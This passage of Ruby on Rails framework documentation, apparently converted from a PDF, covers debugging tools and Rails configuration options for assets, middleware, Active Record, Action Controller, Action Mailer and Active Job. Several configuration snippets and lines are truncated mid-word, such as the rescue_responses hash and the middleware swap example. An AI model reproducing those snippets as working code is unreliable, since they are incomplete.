To exit the debugger, use the quit command (abbreviated to q). Or, type
q! to bypass the Really quit? (y/n) prompt and exit unconditionally.
A simple quit tries to terminate all threads in effect. Therefore your server
will be stopped and you will have to start it again.
3.12 Settings
byebug has a few available options to tweak its behavior:
(byebug) help set
set <setting> <value>
Modifies byebug settings

Boolean values take "on", "off", "true", "false", "1" or "0".

don't specify a value, the boolean setting will be enabled. Co
you can use "set no<setting>" to disable them.

You can see these environment settings with the "show" command
List of supported settings:

autosave -- Automatically save command history record on

autolist -- Invoke list command on every stop
width -- Number of characters per line in byebug's ou
autoirb -- Invoke IRB on every stop
basename -- <file>:<line> information after every stop u
linetrace -- Enable line execution tracing
autopry -- Invoke Pry on every stop
stack_on_error -- Display stack trace when `eval` raises an ex
fullpath -- Display full file names in backtraces
histfile -- File where cmd history is saved to. Default:
listsize -- Set number of source lines to list by defaul
post_mortem -- Enable/disable post-mortem mode
callstyle -- Set how you want method call parameters to b
histsize -- Maximum number of commands that can be store
savefile -- File where settings are saved to. Default: ~

You can save these settings in an .byebugrc file in your home directory.
The debugger reads these global settings when it starts. For example:
set callstyle short
set listsize 25

4 Debugging with the web-console gem

Web Console is a bit like byebug, but it runs in the browser. In any page
you are developing, you can request a console in the context of a view or a
controller. The console would be rendered next to your HTML content.
4.1 Console
Inside any controller action or view, you can invoke the console by calling
the console method.
For example, in a controller:
class PostsController < ApplicationController
def new
console
@post = Post.new
end
end

Or in a view:
<% console %>
<h2>New Post</h2>

This will render a console inside your view. You don't need to care about
the location of the console call; it won't be rendered on the spot of its
invocation but next to your HTML content.
The console executes pure Ruby code: You can define and instantiate
custom classes, create new models and inspect variables.
Only one console can be rendered per request. Otherwise web-console
will raise an error on the second console invocation.

4.2 Inspecting Variables

You can invoke instance_variables to list all the instance variables
available in your context. If you want to list all the local variables, you can
do that with local_variables.
4.3 Settings
config.web_console.whitelisted_ips: Authorized list of IPv4 or
IPv6 addresses and networks (defaults: 127.0.0.1/8, ::1).
config.web_console.whiny_requests: Log a message when a
console rendering is prevented (defaults: true).

Since web-console evaluates plain Ruby code remotely on the server,

don't try to use it in production.

5 Debugging Memory Leaks

A Ruby application (on Rails or not), can leak memory either in the
Ruby code or at the C code level.
In this section, you will learn how to find and fix such leaks by using tool
such as Valgrind.
5.1 Valgrind
Valgrind is an application for detecting C-based memory leaks and race
conditions.
There are Valgrind tools that can automatically detect many memory
management and threading bugs, and profile your programs in detail. For
example, if a C extension in the interpreter calls malloc() but doesn't
properly call free(), this memory won't be available until the app
terminates.
For further information on how to install Valgrind and use with Ruby,
refer to Valgrind and Ruby by Evan Weaver.

6 Plugins for Debugging

There are some Rails plugins to help you to find errors and debug your
application. Here is a list of useful plugins for debugging:
Footnotes Every Rails page has footnotes that give request
information and link back to your source via TextMate.
Query Trace Adds query origin tracing to your logs.
Query Reviewer This Rails plugin not only runs "EXPLAIN" before
each of your select queries in development, but provides a small DIV
in the rendered output of each page with the summary of warnings for
each query that it analyzed.
Exception Notifier Provides a mailer object and a default set of
templates for sending email notifications when errors occur in a Rails
application.
Better Errors Replaces the standard Rails error page with a new one
containing more contextual information, like source code and variable
inspection.
RailsPanel Chrome extension for Rails development that will end
your tailing of development.log. Have all information about your
Rails app requests in the browser in the Developer Tools panel.
Provides insight to db/rendering/total times, parameter list, rendered
views and more.

7 References
ruby-debug Homepage
debugger Homepage
byebug Homepage
web-console Homepage
Article: Debugging a Rails application with ruby-debug
Ryan Bates' debugging ruby (revised) screencast
Ryan Bates' stack trace screencast
Ryan Bates' logger screencast
Debugging with ruby-debug

Configuring Rails Applications

Ruby...

1 Locations for Initialization Code

Rails offers four standard spots to place initialization code:
config/application.rb

Environment-specific configuration files

Initializers
After-initializers

2 Running Code Before Rails

In the rare event that your application needs to run some code before Rails
itself is loaded, put it above the call to require 'rails/all' in
config/application.rb.

3 Configuring Rails Components

In general, the work of configuring Rails means configuring the
components of Rails, as well as configuring Rails itself. The configuration
file config/application.rb and environment-specific configuration files
(such as config/environments/production.rb) allow you to specify the
various settings that you want to pass down to all of the components.
For example, the config/application.rb file includes this setting:
config.time_zone = 'Central Time (US & Canada)'

This is a setting for Rails itself. If you want to pass settings to individual
Rails components, you can do so via the same config object in
config/application.rb:
config.active_record.schema_format = :ruby

Rails will use that particular setting to configure Active Record.

3.1 Rails General Configuration
These configuration methods are to be called on a Rails::Railtie object,
such as a subclass of Rails::Engine or Rails::Application.
config.after_initialize takes a block which will be run after

Rails has finished initializing the application. That includes the

initialization of the framework itself, engines, and all the application's
initializers in config/initializers. Note that this block will be run
for rake tasks. Useful for configuring values set up by other
initializers:
config.after_initialize do
ActionView::Base.sanitized_allowed_tags.delete 'div'

end

config.asset_host sets the host for the assets. Useful when CDNs

are used for hosting assets, or when you want to work around the
concurrency constraints built-in in browsers using different domain
aliases. Shorter version of config.action_controller.asset_host.
config.autoload_once_paths accepts an array of paths from which
Rails will autoload constants that won't be wiped per request.
Relevant if config.cache_classes is false, which is the case in
development mode by default. Otherwise, all autoloading happens
only once. All elements of this array must also be in autoload_paths.
Default is an empty array.
config.autoload_paths accepts an array of paths from which Rails
will autoload constants. Default is all directories under app.
config.cache_classes controls whether or not application classes
and modules should be reloaded on each request. Defaults to false in
development mode, and true in test and production modes.
config.action_view.cache_template_loading controls whether or
not templates should be reloaded on each request. Defaults to
whatever is set for config.cache_classes.
config.beginning_of_week sets the default beginning of week for
the application. Accepts a valid week day symbol (e.g. :monday).
config.cache_store configures which cache store to use for Rails
caching. Options include one of the symbols :memory_store,
:file_store, :mem_cache_store, :null_store, or an object that
implements the cache API. Defaults to :file_store if the directory
tmp/cache exists, and to :memory_store otherwise.
config.colorize_logging specifies whether or not to use ANSI
color codes when logging information. Defaults to true.
config.consider_all_requests_local is a flag. If true then any
error will cause detailed debugging information to be dumped in the
HTTP response, and the Rails::Info controller will show the
application runtime context in /rails/info/properties. True by

default in development and test environments, and false in production

mode. For finer-grained control, set this to false and implement
local_request? in controllers to specify which requests should
provide debugging information on errors.
config.console allows you to set class that will be used as console
you run rails console. It's best to run it in console block:
console do
# this block is called only when running console,
# so we can safely require pry here
require "pry"
config.console = Pry
end

config.eager_load when true, eager loads all registered

config.eager_load_namespaces. This includes your application,

engines, Rails frameworks and any other registered namespace.

config.eager_load_namespaces registers namespaces that are eager
loaded when config.eager_load is true. All namespaces in the list
must respond to the eager_load! method.
config.eager_load_paths accepts an array of paths from which
Rails will eager load on boot if cache classes is enabled. Defaults to
every folder in the app directory of the application.
config.enable_dependency_loading: when true, enables
autoloading, even if the application is eager loaded and
config.cache_classes is set as true. Defaults to false.
config.encoding sets up the application-wide encoding. Defaults to
UTF-8.
config.exceptions_app sets the exceptions application invoked by
the ShowException middleware when an exception happens. Defaults
to ActionDispatch::PublicExceptions.new(Rails.public_path).
config.debug_exception_response_format sets the format used in
responses when errors occur in development mode. Defaults to :api
for API only apps and :default for normal apps.
config.file_watcher is the class used to detect file updates in the

file system when config.reload_classes_only_on_change is true.

Rails ships with ActiveSupport::FileUpdateChecker, the default,
and ActiveSupport::EventedFileUpdateChecker (this one depends
on the listen gem). Custom classes must conform to the
ActiveSupport::FileUpdateChecker API.
config.filter_parameters used for filtering out the parameters that
you don't want shown in the logs, such as passwords or credit card
numbers. By default, Rails filters out passwords by adding
Rails.application.config.filter_parameters += [:password]
in config/initializers/filter_parameter_logging.rb.

Parameters filter works by partial matching regular expression.

config.force_ssl forces all requests to be served over HTTPS by
using the ActionDispatch::SSL middleware, and sets
config.action_mailer.default_url_options to be { protocol:
'https' }. This can be configured by setting config.ssl_options see the ActionDispatch::SSL documentation for details.
config.log_formatter defines the formatter of the Rails logger.
This option defaults to an instance of
ActiveSupport::Logger::SimpleFormatter for all modes except
production, where it defaults to Logger::Formatter. If you are
setting a value for config.logger you must manually pass the value
of your formatter to your logger before it is wrapped in an
ActiveSupport::TaggedLogging instance, Rails will not do it for
you.
config.log_level defines the verbosity of the Rails logger. This
option defaults to :debug for all environments. The available log
levels are: :debug, :info, :warn, :error, :fatal, and :unknown.
config.log_tags accepts a list of: methods that the request object
responds to, a Proc that accepts the request object, or something that
responds to to_s. This makes it easy to tag log lines with debug
information like subdomain and request id - both very helpful in
debugging multi-user production applications.
config.logger is the logger that will be used for Rails.logger and
any related Rails logging such as ActiveRecord::Base.logger. It

defaults to an instance of ActiveSupport::TaggedLogging that wraps

an instance of ActiveSupport::Logger which outputs a log to the
log/ directory. You can supply a custom logger, to get full
compatibility you must follow these guidelines:
To support a formatter, you must manually assign a formatter
from the config.log_formatter value to the logger.
To support tagged logs, the log instance must be wrapped with
ActiveSupport::TaggedLogging.
To support silencing, the logger must include LoggerSilence
and ActiveSupport::LoggerThreadSafeLevel modules. The
ActiveSupport::Logger class already includes these modules.
class MyLogger < ::Logger
include ActiveSupport::LoggerThreadSafeLevel
include LoggerSilence
end
mylogger = MyLogger.new(STDOUT)
mylogger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(mylogger)

config.middleware allows you to configure the application's

middleware. This is covered in depth in the Configuring Middleware

section below.
config.reload_classes_only_on_change enables or disables
reloading of classes only when tracked files change. By default tracks
everything on autoload paths and is set to true. If
config.cache_classes is true, this option is ignored.
secrets.secret_key_base is used for specifying a key which allows
sessions for the application to be verified against a known secure key
to prevent tampering. Applications get secrets.secret_key_base
initialized to a random key present in config/secrets.yml.
config.public_file_server.enabled configures Rails to serve
static files from the public directory. This option defaults to true, but
in the production environment it is set to false because the server

software (e.g. NGINX or Apache) used to run the application should

serve static files instead. If you are running or testing your app in
production mode using WEBrick (it is not recommended to use
WEBrick in production) set the option to true. Otherwise, you won't
be able to use page caching and request for files that exist under the
public directory.
config.session_store is usually set up in
config/initializers/session_store.rb and specifies what class
to use to store the session. Possible values are :cookie_store which
is the default, :mem_cache_store, and :disabled. The last one tells
Rails not to deal with sessions. Custom session stores can also be
specified:
config.session_store :my_custom_store

This custom store must be defined as

ActionDispatch::Session::MyCustomStore.
config.time_zone sets the default time zone for the application and

enables time zone awareness for Active Record.

3.2 Configuring Assets
config.assets.enabled a flag that controls whether the asset

pipeline is enabled. It is set to true by default.

config.assets.raise_runtime_errors Set this flag to true to
enable additional runtime error checking. Recommended in
config/environments/development.rb to minimize unexpected
behavior when deploying to production.
config.assets.compress a flag that enables the compression of
compiled assets. It is explicitly set to true in
config/environments/production.rb.
config.assets.css_compressor defines the CSS compressor to use.
It is set by default by sass-rails. The unique alternative value at the
moment is :yui, which uses the yui-compressor gem.

config.assets.js_compressor defines the JavaScript compressor to

use. Possible values are :closure, :uglifier and :yui which require
the use of the closure-compiler, uglifier or yui-compressor gems

respectively.
config.assets.gzip a flag that enables the creation of gzipped

version of compiled assets, along with non-gzipped assets. Set to

true by default.
config.assets.paths contains the paths which are used to look for
assets. Appending paths to this configuration option will cause those
paths to be used in the search for assets.
config.assets.precompile allows you to specify additional assets
(other than application.css and application.js) which are to be
precompiled when rake assets:precompile is run.
config.assets.prefix defines the prefix where assets are served
from. Defaults to /assets.
config.assets.manifest defines the full path to be used for the
asset precompiler's manifest file. Defaults to a file named manifest<random>.json in the config.assets.prefix directory within the
public folder.
config.assets.digest enables the use of MD5 fingerprints in asset
names. Set to true by default.
config.assets.debug disables the concatenation and compression of
assets. Set to true by default in development.rb.
config.assets.compile is a boolean that can be used to turn on live
Sprockets compilation in production.
config.assets.logger accepts a logger conforming to the interface
of Log4r or the default Ruby Logger class. Defaults to the same
configured at config.logger. Setting config.assets.logger to
false will turn off served assets logging.
3.3 Configuring Generators
Rails allows you to alter what generators are used with the

config.generators method. This method takes a block:

config.generators do |g|
g.orm :active_record
g.test_framework :test_unit
end

The full set of methods that can be used in this block are as follows:
assets allows to create assets on generating a scaffold. Defaults to
true.
force_plural allows pluralized model names. Defaults to false.
helper defines whether or not to generate helpers. Defaults to true.
integration_tool defines which integration tool to use to generate
integration tests. Defaults to :test_unit.
javascripts turns on the hook for JavaScript files in generators.
Used in Rails for when the scaffold generator is run. Defaults to
true.
javascript_engine configures the engine to be used (for eg. coffee)
when generating assets. Defaults to :js.
orm defines which orm to use. Defaults to false and will use Active

Record by default.
resource_controller defines which generator to use for generating
a controller when using rails generate resource. Defaults to
:controller.
resource_route defines whether a resource route definition should
be generated or not. Defaults to true.
scaffold_controller different from resource_controller, defines

which generator to use for generating a scaffolded controller when

using rails generate scaffold. Defaults to
:scaffold_controller.
stylesheets turns on the hook for stylesheets in generators. Used in
Rails for when the scaffold generator is run, but this hook can be
used in other generates as well. Defaults to true.

stylesheet_engine configures the stylesheet engine (for eg. sass) to

be used when generating assets. Defaults to :css.
scaffold_stylesheet creates scaffold.css when generating a
scaffolded resource. Defaults to true.
test_framework defines which test framework to use. Defaults to
false and will use Minitest by default.
template_engine defines which template engine to use, such as ERB
or Haml. Defaults to :erb.

3.4 Configuring Middleware

Every Rails application comes with a standard set of middleware which it
uses in this order in the development environment:
ActionDispatch::SSL forces every request to be served using
HTTPS. Enabled if config.force_ssl is set to true. Options passed
to this can be configured by setting config.ssl_options.
ActionDispatch::Static is used to serve static assets. Disabled if
config.public_file_server.enabled is false. Set
config.public_file_server.index_name if you need to serve a
static directory index file that is not named index. For example, to
serve main.html instead of index.html for directory requests, set
config.public_file_server.index_name to "main".
ActionDispatch::Executor allows thread safe code reloading.
Disabled if config.allow_concurrency is false, which causes
Rack::Lock to be loaded. Rack::Lock wraps the app in mutex so it

can only be called by a single thread at a time.

ActiveSupport::Cache::Strategy::LocalCache serves as a basic

memory backed cache. This cache is not thread safe and is intended
only for serving as a temporary memory cache for a single thread.
Rack::Runtime sets an X-Runtime header, containing the time (in
seconds) taken to execute the request.
Rails::Rack::Logger notifies the logs that the request has begun.
After request is complete, flushes all the logs.

ActionDispatch::ShowExceptions rescues any exception returned

by the application and renders nice exception pages if the request is

local or if config.consider_all_requests_local is set to true. If
config.action_dispatch.show_exceptions is set to false,
exceptions will be raised regardless.
ActionDispatch::RequestId makes a unique X-Request-Id header
available to the response and enables the
ActionDispatch::Request#uuid method.
ActionDispatch::RemoteIp checks for IP spoofing attacks and gets
valid client_ip from request headers. Configurable with the
config.action_dispatch.ip_spoofing_check, and
config.action_dispatch.trusted_proxies options.
Rack::Sendfile intercepts responses whose body is being served
from a file and replaces it with a server specific X-Sendfile header.
Configurable with config.action_dispatch.x_sendfile_header.
ActionDispatch::Callbacks runs the prepare callbacks before
serving the request.
ActiveRecord::ConnectionAdapters::ConnectionManagement
cleans active connections after each request, unless the rack.test
key in the request environment is set to true.
ActiveRecord::QueryCache caches all SELECT queries generated in

a request. If any INSERT or UPDATE takes place then the cache is

cleaned.
ActionDispatch::Cookies sets cookies for the request.
ActionDispatch::Session::CookieStore is responsible for storing
the session in cookies. An alternate middleware can be used for this
by changing the config.action_controller.session_store to an
alternate value. Additionally, options passed to this can be configured
by using config.action_controller.session_options.
ActionDispatch::Flash sets up the flash keys. Only available if
config.action_controller.session_store is set to a value.
Rack::MethodOverride allows the method to be overridden if
params[:_method] is set. This is the middleware which supports the
PATCH, PUT, and DELETE HTTP method types.

Rack::Head converts HEAD requests to GET requests and serves

them as so.
Besides these usual middleware, you can add your own by using the
config.middleware.use method:
config.middleware.use Magical::Unicorns

This will put the Magical::Unicorns middleware on the end of the stack.
You can use insert_before if you wish to add a middleware before
another.
config.middleware.insert_before Rack::Head, Magical::Unicorns

There's also insert_after which will insert a middleware after another:

config.middleware.insert_after Rack::Head, Magical::Unicorns

Middlewares can also be completely swapped out and replaced with

others:

config.middleware.swap ActionController::Failsafe, Lifo::Failsaf

They can also be removed from the stack completely:

config.middleware.delete Rack::MethodOverride

3.5 Configuring i18n

All these configuration options are delegated to the I18n library.
config.i18n.available_locales whitelists the available locales for

the app. Defaults to all locale keys found in locale files, usually only
:en on a new application.
config.i18n.default_locale sets the default locale of an
application used for i18n. Defaults to :en.
config.i18n.enforce_available_locales ensures that all locales
passed through i18n must be declared in the available_locales list,
raising an I18n::InvalidLocale exception when setting an
unavailable locale. Defaults to true. It is recommended not to disable
this option unless strongly required, since this works as a security
measure against setting any invalid locale from user input.
config.i18n.load_path sets the path Rails uses to look for locale
files. Defaults to config/locales/*.{yml,rb}.
3.6 Configuring Active Record
config.active_record includes a variety of configuration options:
config.active_record.logger accepts a logger conforming to the

interface of Log4r or the default Ruby Logger class, which is then

passed on to any new database connections made. You can retrieve
this logger by calling logger on either an Active Record model class
or an Active Record model instance. Set to nil to disable logging.
config.active_record.primary_key_prefix_type lets you adjust
the naming for primary key columns. By default, Rails assumes that
primary key columns are named id (and this configuration option
doesn't need to be set.) There are two other choices:
:table_name would make the primary key for the Customer
class customerid.
:table_name_with_underscore would make the primary key
for the Customer class customer_id.
config.active_record.table_name_prefix lets you set a global
string to be prepended to table names. If you set this to northwest_,
then the Customer class will look for northwest_customers as its
table. The default is an empty string.

config.active_record.table_name_suffix lets you set a global

string to be appended to table names. If you set this to _northwest,
then the Customer class will look for customers_northwest as its

table. The default is an empty string.

config.active_record.schema_migrations_table_name lets you

set a string to be used as the name of the schema migrations table.

config.active_record.pluralize_table_names specifies whether
Rails will look for singular or plural table names in the database. If
set to true (the default), then the Customer class will use the
customers table. If set to false, then the Customer class will use the
customer table.
config.active_record.default_timezone determines whether to
use Time.local (if set to :local) or Time.utc (if set to :utc) when
pulling dates and times from the database. The default is :utc.
config.active_record.schema_format controls the format for
dumping the database schema to a file. The options are :ruby (the
default) for a database-independent version that depends on
migrations, or :sql for a set of (potentially database-dependent) SQL
statements.
config.active_record.error_on_ignored_order_or_limit

specifies if an error should be raised if the order or limit of a query is

ignored during a batch query. The options are true (raise error) or
false (warn). Default is false.
config.active_record.timestamped_migrations controls whether
migrations are numbered with serial integers or with timestamps. The
default is true, to use timestamps, which are preferred if there are
multiple developers working on the same application.
config.active_record.lock_optimistically controls whether
Active Record will use optimistic locking and is true by default.
config.active_record.cache_timestamp_format controls the
format of the timestamp value in the cache key. Default is :nsec.
config.active_record.record_timestamps is a boolean value
which controls whether or not timestamping of create and update
operations on a model occur. The default value is true.

config.active_record.partial_writes is a boolean value and

controls whether or not partial writes are used (i.e. whether updates
only set attributes that are dirty). Note that when using partial writes,
you should also use optimistic locking
config.active_record.lock_optimistically since concurrent
updates may write attributes based on a possibly stale read state. The
default value is true.
config.active_record.maintain_test_schema is a boolean value
which controls whether Active Record should try to keep your test
database schema up-to-date with db/schema.rb (or
db/structure.sql) when you run your tests. The default is true.
config.active_record.dump_schema_after_migration is a flag
which controls whether or not schema dump should happen
(db/schema.rb or db/structure.sql) when you run migrations. This
is set to false in config/environments/production.rb which is
generated by Rails. The default value is true if this configuration is
not set.
config.active_record.dump_schemas controls which database
schemas will be dumped when calling db:structure:dump. The options
are :schema_search_path (the default) which dumps any schemas
listed in schema_search_path, :all which always dumps all schemas
regardless of the schema_search_path, or a string of comma separated
schemas.
config.active_record.belongs_to_required_by_default is a
boolean value and controls whether a record fails validation if
belongs_to association is not present.
config.active_record.warn_on_records_fetched_greater_than

allows setting a warning threshold for query result size. If the number
of records returned by a query exceeds the threshold, a warning is
logged. This can be used to identify queries which might be causing
memory bloat.
config.active_record.index_nested_attribute_errors allows
errors for nested has_many relationships to be displayed with an
index as well as the error. Defaults to false.

The MySQL adapter adds one additional configuration option:

ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_bool
controls whether Active Record will consider all tinyint(1)

columns as booleans. True by default.

The schema dumper adds one additional configuration option:
ActiveRecord::SchemaDumper.ignore_tables accepts an array of

tables that should not be included in any generated schema file. This
setting is ignored unless config.active_record.schema_format ==
:ruby.
3.7 Configuring Action Controller
config.action_controller includes a number of configuration settings:
config.action_controller.asset_host sets the host for the assets.

Useful when CDNs are used for hosting assets rather than the
application server itself.
config.action_controller.perform_caching configures whether
the application should perform the caching features provided by the
Action Controller component or not. Set to false in development
mode, true in production.
config.action_controller.default_static_extension configures
the extension used for cached pages. Defaults to .html.
config.action_controller.include_all_helpers configures
whether all view helpers are available everywhere or are scoped to
the corresponding controller. If set to false, UsersHelper methods
are only available for views rendered as part of UsersController. If
true, UsersHelper methods are available everywhere. The default
configuration behavior (when this option is not explicitly set to true
or false) is that all view helpers are available to each controller.

config.action_controller.logger accepts a logger conforming to

the interface of Log4r or the default Ruby Logger class, which is then
used to log information from Action Controller. Set to nil to disable
logging.
config.action_controller.request_forgery_protection_token

sets the token parameter name for RequestForgery. Calling

protect_from_forgery sets it to :authenticity_token by default.
config.action_controller.allow_forgery_protection enables or
disables CSRF protection. By default this is false in test mode and
true in all other modes.
config.action_controller.forgery_protection_origin_check
configures whether the HTTP Origin header should be checked

against the site's origin as an additional CSRF defense.

config.action_controller.per_form_csrf_tokens configures
whether CSRF tokens are only valid for the method/action they were
generated for.
config.action_controller.relative_url_root can be used to tell
Rails that you are deploying to a subdirectory. The default is
ENV['RAILS_RELATIVE_URL_ROOT'].
config.action_controller.permit_all_parameters sets all the
parameters for mass assignment to be permitted by default. The
default value is false.
config.action_controller.action_on_unpermitted_parameters

enables logging or raising an exception if parameters that are not

explicitly permitted are found. Set to :log or :raise to enable. The
default value is :log in development and test environments, and
false in all other environments.
config.action_controller.always_permitted_parameters sets a
list of whitelisted parameters that are permitted by default. The
default values are ['controller', 'action'].
3.8 Configuring Action Dispatch

config.action_dispatch.session_store sets the name of the store

for session data. The default is :cookie_store; other valid options
include :active_record_store, :mem_cache_store or the name of

your own custom class.

config.action_dispatch.default_headers is a hash with HTTP

headers that are set by default in each response. By default, this is

defined as:
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff'
}

config.action_dispatch.default_charset specifies the default

character set for all renders. Defaults to nil.
config.action_dispatch.tld_length sets the TLD (top-level
domain) length for the application. Defaults to 1.
config.action_dispatch.http_auth_salt sets the HTTP Auth salt
value. Defaults to 'http authentication'.
config.action_dispatch.signed_cookie_salt sets the signed
cookies salt value. Defaults to 'signed cookie'.
config.action_dispatch.encrypted_cookie_salt sets the
encrypted cookies salt value. Defaults to 'encrypted cookie'.
config.action_dispatch.encrypted_signed_cookie_salt sets the
signed encrypted cookies salt value. Defaults to 'signed encrypted
cookie'.
config.action_dispatch.perform_deep_munge configures whether
deep_munge method should be performed on the parameters. See

Security Guide for more information. It defaults to true.

config.action_dispatch.rescue_responses configures what
exceptions are assigned to an HTTP status. It accepts a hash and you
can specify pairs of exception/status. By default, this is defined as:
config.action_dispatch.rescue_responses = {

'ActionController::RoutingError' => :not_found,

'AbstractController::ActionNotFound' => :not_found,
'ActionController::MethodNotAllowed' => :method_not
'ActionController::UnknownHttpMethod' => :method_not
'ActionController::NotImplemented' => :not_implem
'ActionController::UnknownFormat' => :not_accept
'ActionController::InvalidAuthenticityToken' => :unprocessa
'ActionController::InvalidCrossOriginRequest' => :unprocessa
'ActionDispatch::ParamsParser::ParseError' => :bad_reques
'ActionController::BadRequest' => :bad_reques
'ActionController::ParameterMissing' => :bad_reques
'ActiveRecord::RecordNotFound' => :not_found,
'ActiveRecord::StaleObjectError' => :conflict,
'ActiveRecord::RecordInvalid' => :unprocessa
'ActiveRecord::RecordNotSaved' => :unprocessa
}

Any exceptions that are not configured will be mapped to 500 Internal
Server Error.
ActionDispatch::Callbacks.before takes a block of code to run

before the request.

ActionDispatch::Callbacks.to_prepare takes a block to run after
ActionDispatch::Callbacks.before, but before the request. Runs
for every request in development mode, but only once for
production or environments with cache_classes set to true.
ActionDispatch::Callbacks.after takes a block of code to run

after the request.

3.9 Configuring Action View
config.action_view includes a small number of configuration settings:
config.action_view.field_error_proc provides an HTML

generator for displaying errors that come from Active Model. The
default is

Proc.new do |html_tag, instance|

%Q(<div class="field_with_errors">#{html_tag}</div>).html_
end

config.action_view.default_form_builder tells Rails which form

builder to use by default. The default is

ActionView::Helpers::FormBuilder. If you want your form builder
class to be loaded after initialization (so it's reloaded on each request
in development), you can pass it as a String.
config.action_view.logger accepts a logger conforming to the
interface of Log4r or the default Ruby Logger class, which is then
used to log information from Action View. Set to nil to disable
logging.
config.action_view.erb_trim_mode gives the trim mode to be used
by ERB. It defaults to '-', which turns on trimming of tail spaces and
newline when using <%= -%> or <%= =%>. See the Erubis
documentation for more information.
config.action_view.embed_authenticity_token_in_remote_forms
allows you to set the default behavior for authenticity_token in
forms with remote: true. By default it's set to false, which means
that remote forms will not include authenticity_token, which is

helpful when you're fragment-caching the form. Remote forms get the
authenticity from the meta tag, so embedding is unnecessary unless
you support browsers without JavaScript. In such case you can either
pass authenticity_token: true as a form option or set this config
setting to true.

config.action_view.prefix_partial_path_with_controller_names

determines whether or not partials are looked up from a subdirectory

in templates rendered from namespaced controllers. For example,
consider a controller named Admin::ArticlesController which
renders this template:
<%= render @article %>

The default setting is true, which uses the partial at

/admin/articles/_article.erb. Setting the value to false would
render /articles/_article.erb, which is the same behavior as
rendering from a non-namespaced controller such as
ArticlesController.
config.action_view.raise_on_missing_translations determines
whether an error should be raised for missing translations.
config.action_view.automatically_disable_submit_tag

determines whether submit_tag should automatically disable on click,

this defaults to true.
config.action_view.debug_missing_translation determines
whether to wrap the missing translations key in a <span> tag or not.
This defaults to true.
3.10 Configuring Action Mailer
There are a number of settings available on config.action_mailer:
config.action_mailer.logger accepts a logger conforming to the

interface of Log4r or the default Ruby Logger class, which is then

used to log information from Action Mailer. Set to nil to disable
logging.
config.action_mailer.smtp_settings allows detailed
configuration for the :smtp delivery method. It accepts a hash of
options, which can include any of these options:
:address - Allows you to use a remote mail server. Just change
it from its default "localhost" setting.
:port - On the off chance that your mail server doesn't run on
port 25, you can change it.
:domain - If you need to specify a HELO domain, you can do it
here.
:user_name - If your mail server requires authentication, set the
username in this setting.
:password - If your mail server requires authentication, set the

password in this setting.

:authentication - If your mail server requires authentication,
you need to specify the authentication type here. This is a
symbol and one of :plain, :login, :cram_md5.
config.action_mailer.sendmail_settings allows detailed
configuration for the sendmail delivery method. It accepts a hash of
options, which can include any of these options:
:location - The location of the sendmail executable. Defaults to
/usr/sbin/sendmail.
:arguments - The command line arguments. Defaults to -i -t.
config.action_mailer.raise_delivery_errors specifies whether
to raise an error if email delivery cannot be completed. It defaults to
true.
config.action_mailer.delivery_method defines the delivery
method and defaults to :smtp. See the configuration section in the
Action Mailer guide for more info.
config.action_mailer.perform_deliveries specifies whether mail
will actually be delivered and is true by default. It can be convenient
to set it to false for testing.
config.action_mailer.default_options configures Action Mailer
defaults. Use to set options like from or reply_to for every mailer.
These default to:
mime_version: "1.0",
charset: "UTF-8",
content_type: "text/plain",
parts_order: ["text/plain", "text/enriched", "text/html"]

Assign a hash to set additional options:

config.action_mailer.default_options = {
from: "[email protected]"
}

config.action_mailer.observers registers observers which will be

notified when mail is delivered.

config.action_mailer.observers = ["MailObserver"]

config.action_mailer.interceptors registers interceptors which

will be called before mail is sent.

config.action_mailer.interceptors = ["MailInterceptor"]

config.action_mailer.preview_path specifies the location of

mailer previews.

config.action_mailer.preview_path = "#{Rails.root}/lib/maile

config.action_mailer.show_previews enable or disable mailer

previews. By default this is true in development.
config.action_mailer.show_previews = false

config.action_mailer.deliver_later_queue_name specifies the

queue name for mailers. By default this is mailers.
config.action_mailer.perform_caching specifies whether the

mailer templates should perform fragment caching or not. By default

this is false in all environments.
3.11 Configuring Active Support
There are a few configuration options available in Active Support:
config.active_support.bare enables or disables the loading of
active_support/all when booting Rails. Defaults to nil, which
means active_support/all is loaded.
config.active_support.test_order sets the order that test cases
are executed. Possible values are :random and :sorted. This option is

set to :random in config/environments/test.rb in newly-generated

applications. If you have an application that does not specify a
test_order, it will default to :sorted, until Rails 5.0, when the
default will become :random.
config.active_support.escape_html_entities_in_json enables
or disables the escaping of HTML entities in JSON serialization.
Defaults to true.
config.active_support.use_standard_json_time_format enables
or disables serializing dates to ISO 8601 format. Defaults to true.
config.active_support.time_precision sets the precision of
JSON encoded time values. Defaults to 3.
ActiveSupport.halt_callback_chains_on_return_false specifies
whether Active Record and Active Model callback chains can be
halted by returning false in a 'before' callback. When set to false,
callback chains are halted only when explicitly done so with
throw(:abort). When set to true, callback chains are halted when a
callback returns false (the previous behavior before Rails 5) and a
deprecation warning is given. Defaults to true during the deprecation
period. New Rails 5 apps generate an initializer file called
callback_terminator.rb which sets the value to false. This file is
not added when running rails app:update, so returning false will
still work on older apps ported to Rails 5 and display a deprecation
warning to prompt users to update their code.
ActiveSupport::Logger.silencer is set to false to disable the
ability to silence logging in a block. The default is true.
ActiveSupport::Cache::Store.logger specifies the logger to use
within cache store operations.
ActiveSupport::Deprecation.behavior alternative setter to
config.active_support.deprecation which configures the
behavior of deprecation warnings for Rails.
ActiveSupport::Deprecation.silence takes a block in which all
deprecation warnings are silenced.
ActiveSupport::Deprecation.silenced sets whether or not to
display deprecation warnings.

3.12 Configuring Active Job

config.active_job provides the following configuration options:
config.active_job.queue_adapter sets the adapter for the queueing
backend. The default adapter is :async. For an up-to-date list of built-

in adapters see the ActiveJob::QueueAdapters API documentation.

# Be sure to have the adapter's gem in your Gemfile
# and follow the adapter's specific installation
# and deployment instructions.
config.active_job.queue_adapter = :sidekiq

config.active_job.default_queue_name can be used to change the

default queue name. By default this is "default".
config.active_job.default_queue_name = :medium_priority

config.active_job.queue_name_prefix allows you to set an

optional, non-blank, queue name prefix for all jobs. By default it is

blank and not used. The following configuration would queue the
given job on the production_high_priority queue when run in
production:
config.active_job.queue_name_prefix = Rails.env
class GuestsCleanupJob < ActiveJob::Base
queue_as :high_priority
#....
end

config.active_job.queue_name_delimiter has a default value of

'_'. If queue_name_prefix is set, then queue_name_delimiter joins

the prefix and the non-prefixed queue name. The following

configuration would queue the provided job on the

video_server.low_priority queue:
# prefix must be set for delimiter to be used
config.active_job.queue_name_prefix = 'video_server'
